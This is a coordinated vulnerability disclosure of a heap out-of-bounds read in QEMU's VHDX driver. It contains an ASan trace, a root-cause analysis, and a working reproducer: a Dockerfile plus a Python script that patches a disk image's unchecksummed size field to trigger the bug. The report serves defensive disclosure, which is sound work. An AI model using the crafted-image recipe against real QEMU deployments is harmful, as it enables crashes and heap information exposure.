## Discovery & disclosure * Found by Anthropic using AI and automated agents, and triaged and reviewed manually by me (from Ada Logics). ## Summary Opening a crafted VHDX disk image and reading from it causes a heap out-of-bounds read in `vhdx_block_translate()`. The VHDX "Virtual Disk Size" metadata field is 64-bit and is not covered by any VHDX checksum. `vhdx_calc_bat_entries()` computes the number of Block Allocation Table (BAT) entries as `DIV_ROUND_UP(virtual_disk_size, block_size)` and stores it in a `uint32_t`. A large virtual disk size (for example `(2^32 + 25) * 1 MiB`) truncates that count to a small value, so the on-disk BAT-region length check passes and `s->bat` is allocated too small for the real disk geometry. Meanwhile `bs->total_sectors` is derived from the full 64-bit size, so the block layer accepts I/O at very high LBAs. A read at a high LBA makes `vhdx_block_translate()` compute a BAT index far beyond the allocation and index `s->bat[]` with no bounds check, reading past the buffer. ## Security scope This is a memory-safety bug reachable from an untrusted disk image. Details: - The vulnerable code is the VHDX block driver (`block/vhdx.c`), shared by all QEMU block front-ends. The same `vhdx_open()` / `vhdx_block_translate()` path runs when `qemu-system-*` opens a VHDX as a VM disk (or backing file); the reproducer uses `qemu-io` only because it exercises the identical block-driver code without needing to boot a guest. - It is triggered by parsing attacker-controlled file contents, so it does not depend on TCG vs KVM; it is not a non-virtualization/TCG-only issue. - It is an out-of-bounds read (information exposure / potential crash). - Exposure depends on a deployment handing QEMU an untrusted VHDX (e.g. a guest- or user-supplied image). ## Affected version - Reproduced on upstream commit `191489ba750f13357ac677fb3b059f6f89ee4287` (2026-07-14). - Also reproduced on current master `eca2c16212ef9dcb0871de39bb9d1c2efebe76be` (2026-07-15): the `vhdx_calc_bat_entries()` `uint32_t` truncation and the unchecked `s->bat[]` index are present; identical heap out-of-bounds read at `block/vhdx.c:1152`. ## Steps to reproduce (self-contained) The reproducer builds upstream `qemu-io` with AddressSanitizer, crafts the malicious VHDX, and reads a high LBA from it. Using the Dockerfile and accompanying files pasted below, to reproduce: ``` docker build -t qemu-vhdx-bat-oob . docker run --rm qemu-vhdx-bat-oob ``` Equivalent manual steps: create a dynamic VHDX with `qemu-img create -f vhdx -o block_size=1M poc.vhdx 25M`, patch its 8-byte "Virtual Disk Size" metadata value to `(2^32 + 25) * 1 MiB` (not checksummed), then `qemu-io -r -c 'read 0x1ffe500000 512' poc.vhdx`. ## Actual result (AddressSanitizer, current master) Full AddressSanitizer output: ``` ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b3df54e2020 at pc 0x55bbefdf72c0 bp 0x7b3dfa3dd990 sp 0x7b3dfa3dd988 READ of size 8 at 0x7b3df54e2020 thread T0 #0 0x55bbefdf72bf in vhdx_block_translate /src/repo/build/../block/vhdx.c:1152:26 #1 0x55bbefdf72bf in vhdx_co_readv /src/repo/build/../block/vhdx.c:1203:13 #2 0x55bbefd6fb3b in bdrv_driver_preadv /src/repo/build/../block/io.c:1031:11 #3 0x55bbefd6c266 in bdrv_aligned_preadv /src/repo/build/../block/io.c:1398:15 #4 0x55bbefd6ad3a in bdrv_co_preadv_part /src/repo/build/../block/io.c:1822:11 #5 0x55bbefd4b234 in blk_co_do_preadv_part /src/repo/build/../block/block-backend.c:1365:11 #6 0x55bbefd4af56 in blk_co_preadv /src/repo/build/../block/block-backend.c:1390:11 #7 0x55bbefd4af56 in blk_co_pread /src/repo/build/../block/block-backend.c:1379:12 #8 0x55bbefe1c829 in blk_co_pread_entry /src/repo/build/block/block-gen.c:1804:14 #9 0x55bbeff00a3e in coroutine_trampoline /src/repo/build/../util/coroutine-ucontext.c:175:9 #10 0x7f3dfb1a4f7f (/lib/x86_64-linux-gnu/libc.so.6+0x5ef7f) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) 0x7b3df54e2020 is located 32 bytes after 1048576-byte region [0x7b3df53e2000,0x7b3df54e2000) allocated by thread T0 here: #0 0x55bbefcb5f6b in posix_memalign build-llvm/tools/clang/stage2-bins/runtimes/runtimes-bins/compiler-rt/lib/asan/asan_malloc_linux.cpp:139:3 #1 0x55bbefef6273 in qemu_try_memalign /src/repo/build/../util/memalign.c:53:11 #2 0x55bbefdf4776 in vhdx_open /src/repo/build/../block/vhdx.c:1076:14 #3 0x55bbefcfeae1 in bdrv_open_driver /src/repo/build/../block.c:1678:15 #4 0x55bbefd053c3 in bdrv_open_common /src/repo/build/../block.c:2008:11 #5 0x55bbefd053c3 in bdrv_open_inherit /src/repo/build/../block.c:4191:11 #6 0x55bbefd07395 in bdrv_open /src/repo/build/../block.c:4286:12 #7 0x55bbefd478cd in blk_new_open /src/repo/build/../block/block-backend.c:458:10 #8 0x55bbefe5f2a8 in openfile /src/repo/build/../qemu-io.c:108:18 #9 0x55bbefe5e805 in main /src/repo/build/../qemu-io.c:668:17 #10 0x7f3dfb1701c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #11 0x7f3dfb17028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb) #12 0x55bbefc11964 in _start (/src/repo/build/qemu-io+0xf6964) (BuildId: 9470e7fd730a1bac8579df24fb908181c7eceee1) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/repo/build/../block/vhdx.c:1152:26 in vhdx_block_translate ``` The read is 32 bytes past the end of the `s->bat` allocation (`vhdx_open`, `block/vhdx.c:1076`), from `vhdx_block_translate` at `block/vhdx.c:1152`, reached through the normal `qemu-io` read path. ## Root cause ```c // block/vhdx.c — vhdx_calc_bat_entries(): BAT entry count truncated to uint32 uint32_t data_blocks_cnt, bitmap_blocks_cnt; data_blocks_cnt = DIV_ROUND_UP(s->virtual_disk_size, s->block_size); // 2^32+25 -> 25 (truncated) ... s->bat_entries = data_blocks_cnt + ((data_blocks_cnt - 1) >> s->chunk_ratio_bits); // vhdx_open(): the on-disk BAT-region length check passes because bat_entries is small, // so s->bat is allocated undersized for the real disk geometry. if (s->bat_entries > s->bat_rt.length / sizeof(VHDXBatEntry)) { ... } // passes s->bat = qemu_try_memalign(...); // block/vhdx.c:1076 // vhdx_block_translate(): bat_idx derived from the (full-64-bit-sized) LBA indexes s->bat // with no bounds check -> OOB read. sinfo->file_offset = s->bat[bat_idx] ...; // block/vhdx.c:1152 ``` Because `bs->total_sectors` is computed from the full 64-bit `virtual_disk_size`, the block layer accepts reads at LBAs corresponding to the real (huge) disk size. `vhdx_block_translate()` turns such an LBA into a BAT index far larger than the truncated `s->bat_entries` and reads `s->bat[bat_idx]` past the allocation. The "Virtual Disk Size" metadata carries no checksum, so patching it keeps the image otherwise valid. ## Impact A crafted VHDX image causes a heap out-of-bounds read of up to pointer-sized BAT entries past the `s->bat` allocation when the image is read. The read value is then used as a file offset for subsequent I/O, so out-of-bounds heap contents influence where the driver reads from the image (an information-exposure primitive), and large indices crash the QEMU/tool process. Reachable wherever QEMU opens an untrusted VHDX image. --- ## Reproducer files Two files; place them in one directory and run the two commands above. ### `Dockerfile` ```dockerfile FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG TARGET_COMMIT=eca2c16212ef9dcb0871de39bb9d1c2efebe76be ARG CLANG_VERSION=20 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make pkg-config python3 python3-venv ninja-build \ libglib2.0-dev flex bison zlib1g-dev \ wget gnupg lsb-release software-properties-common \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \ && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \ && rm -rf /var/lib/apt/lists/* ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION} RUN git clone https://github.com/qemu/qemu /src/repo WORKDIR /src/repo RUN git checkout ${TARGET_COMMIT} # Build only the tools (qemu-img / qemu-io) with ASan + full symbols. RUN ./configure \ --cc=clang-${CLANG_VERSION} --host-cc=clang-${CLANG_VERSION} \ --extra-cflags="-g -fno-omit-frame-pointer -O1 -fsanitize=address" \ --extra-ldflags="-fsanitize=address" \ --enable-tools --disable-system --disable-user --disable-docs \ --without-default-features --disable-plugins --enable-vhdx \ && ninja -C build qemu-img qemu-io COPY craft_vhdx.py /tmp/craft_vhdx.py # Build the malicious VHDX at image build time using the freshly built qemu-img. RUN /src/repo/build/qemu-img create -f vhdx -o block_size=1M /tmp/poc.vhdx 25M \ && python3 /tmp/craft_vhdx.py /tmp/poc.vhdx ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer # Read one sector at a high LBA whose BAT index lands past the tiny s->bat[] allocation; # vhdx_block_translate() indexes s->bat[bat_idx] with no bounds check (block/vhdx.c:1152). CMD ["/bin/sh","-c","/src/repo/build/qemu-io -r -c 'read 0x1ffe500000 512' /tmp/poc.vhdx 2>&1; echo EXIT=$?"] ``` ### `craft_vhdx.py` ```python #!/usr/bin/env python3 # Craft a malicious VHDX that triggers the block-count truncation: # 1. qemu-img creates a valid dynamic VHDX (block_size=1MiB, 25MiB virtual size), # yielding a correctly sized BAT region on disk. # 2. Patch the 8-byte "Virtual Disk Size" metadata value (NOT covered by any VHDX # checksum) to (2^32 + 25) * 1MiB. # - vhdx_calc_bat_entries() computes DIV_ROUND_UP(size, 1MiB) = 2^32+25 and # stores it in a uint32_t -> truncates to 25. # - the on-disk BAT-length check (bat_entries <= bat_rt.length/8) passes; # s->bat is allocated undersized. # - bs->total_sectors = size >> 9 is derived from the full 64-bit value, so # I/O at high LBAs is accepted by the block layer. # 3. A read at a high LBA makes vhdx_block_translate() index the tiny s->bat[] # far out of bounds (block/vhdx.c:1152) -> heap OOB read. import struct, sys path = sys.argv[1] BLOCK = 1 << 20 ORIG_BLOCKS = 25 ORIG_SIZE = ORIG_BLOCKS * BLOCK NEW_SIZE = (2**32 + ORIG_BLOCKS) * BLOCK # truncates to 25 blocks VSIZE_GUID = bytes([0x24,0x42,0xa5,0x2f, 0x1b,0xcd, 0x76,0x48, 0xb2,0x11,0x5d,0xbe,0xd8,0x3b,0xf4,0xb8]) data = bytearray(open(path, "rb").read()) meta_base = data.find(b"metadata") assert meta_base != -1, "metadata signature not found" ent = data.find(VSIZE_GUID) assert ent != -1, "virtual-size GUID not found" value_off = struct.unpack_from("<I", data, ent + 16)[0] abs_off = meta_base + value_off orig = struct.unpack_from("<Q", data, abs_off)[0] assert orig == ORIG_SIZE, "unexpected original size 0x%x" % orig struct.pack_into("<Q", data, abs_off, NEW_SIZE) open(path, "wb").write(data) print("patched vdisk size : 0x%x (%d bytes)" % (NEW_SIZE, NEW_SIZE)) print("DIV_ROUND_UP(size,1MiB) = %d ; truncated to uint32 = %d" % (NEW_SIZE // BLOCK, (NEW_SIZE // BLOCK) & 0xffffffff)) ``` # Attribution Please credit Claude and Ada Logics. We normally follow https://www.anthropic.com/coordinated-vulnerability-disclosure but understand QEMU can't provide an SLA for response as written here https://www.qemu.org/contribute/security-process/